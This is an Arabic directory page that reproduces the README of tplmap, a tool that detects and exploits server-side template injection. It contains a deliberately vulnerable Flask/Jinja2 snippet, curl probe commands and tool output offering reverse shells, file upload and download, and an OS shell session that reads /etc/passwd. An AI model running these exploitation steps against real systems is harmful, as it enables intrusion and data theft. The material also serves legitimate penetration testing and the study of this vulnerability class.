Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/epinna/tplmap
ماسحات الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubepinna/tplmap

tplmap

أداة كشف واستغلال حقن القوالب من جانب الخادم وحقن الأكواد

عرض المستودع
4.2k684منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Tplmap

======

هذا المشروع لم يعد مدعومًا. أنا سعيد بدمج طلبات السحب الجديدة طالما أنها لا تكسر مجموعة الاختبارات.

يساعد Tplmap في استغلال ثغرات حقن الكود وحقن القوالب من جانب الخادم باستخدام عدد من تقنيات الهروب من الصندوق الرمل للوصول إلى نظام التشغيل الأساسي.

تم تطوير الأداة ومجموعة الاختبارات الخاصة بها للبحث في فئة ثغرات SSTI واستخدامها كأداة أمنية هجومية أثناء اختبارات اختراق تطبيقات الويب.

جاءت تقنيات كسر الصندوق الرمل من Server-Side Template Injection: RCE For The Modern Web App لجيمس كيت، وأبحاث عامة أخرى [1] [2]، ومساهمات أصلية لهذه الأداة [3] [4].

يمكنها استغلال عدة سياقات كود وسيناريوهات حقن أعمى. كما أنها تدعم حقن كود شبيه بـ eval() في Python و Ruby و PHP و Java ومحركات قوالب عامة غير محصنة.

حقن القوالب من جانب الخادم

افترض أنك تقوم بتدقيق موقع ويب يقوم بإنشاء صفحات ديناميكية باستخدام قوالب مكونة من قيم يقدمها المستخدم، مثل تطبيق الويب هذا المكتوب بـ Python و Flask الذي يستخدم محرك القوالب Jinja2 بطريقة غير آمنة.

root@kitploit:~
from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

من منظور اختبار الصندوق الأسود، تعكس الصفحة القيمة بشكل مشابه لثغرة XSS، ولكنها أيضًا تحسب عملية أساسية في وقت التشغيل مما يكشف عن طبيعتها كـ SSTI.

root@kitploit:~
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!

الاستغلال

يمكن لـ Tplmap اكتشاف واستغلال SSTI في مجموعة من محركات القوالب للوصول إلى نظام الملفات ونظام التشغيل الأساسيين. قم بتشغيلها على عنوان URL لاختبار ما إذا كانت المعاملات قابلة للاستغلال.

root@kitploit:~
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

استخدم الخيار --os-shell لتشغيل طرفية شبه حقيقية على الهدف.

root@kitploit:~
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

محركات القوالب المدعومة

يدعم Tplmap أكثر من 15 محرك قوالب، ومحركات قوالب غير محصنة، وحقن شبيهة بـ eval() عامة.

إضافة Burp Suite

انظر burp_extension/README.md.

تنزيل الأداة
المحركتنفيذ الأوامر عن بعدأعمىتقييم الكودقراءة الملفكتابة الملف
Mako✓✓Python✓✓
Jinja2✓✓Python✓✓
Python (code eval)✓✓Python✓✓
Tornado✓✓Python✓✓
Nunjucks✓✓JavaScript✓✓
Pug✓✓JavaScript✓✓
doT✓✓JavaScript✓✓
Marko✓✓JavaScript✓✓
JavaScript (code eval)✓✓JavaScript✓✓
Dust (<= [email protected])✓✓JavaScript✓✓
EJS✓✓JavaScript✓✓
Ruby (code eval)✓✓Ruby✓✓
Slim✓✓Ruby✓✓
ERB✓✓Ruby✓✓
Smarty (unsecured)✓✓PHP✓✓
PHP (code eval)✓✓PHP✓✓
Twig (<=1.19)✓✓PHP✓✓
Freemarker✓✓Java✓✓
Velocity✓✓Java✓✓
Twig (>1.19)×××××
Smarty (secured)×××××
Dust (> [email protected])×××××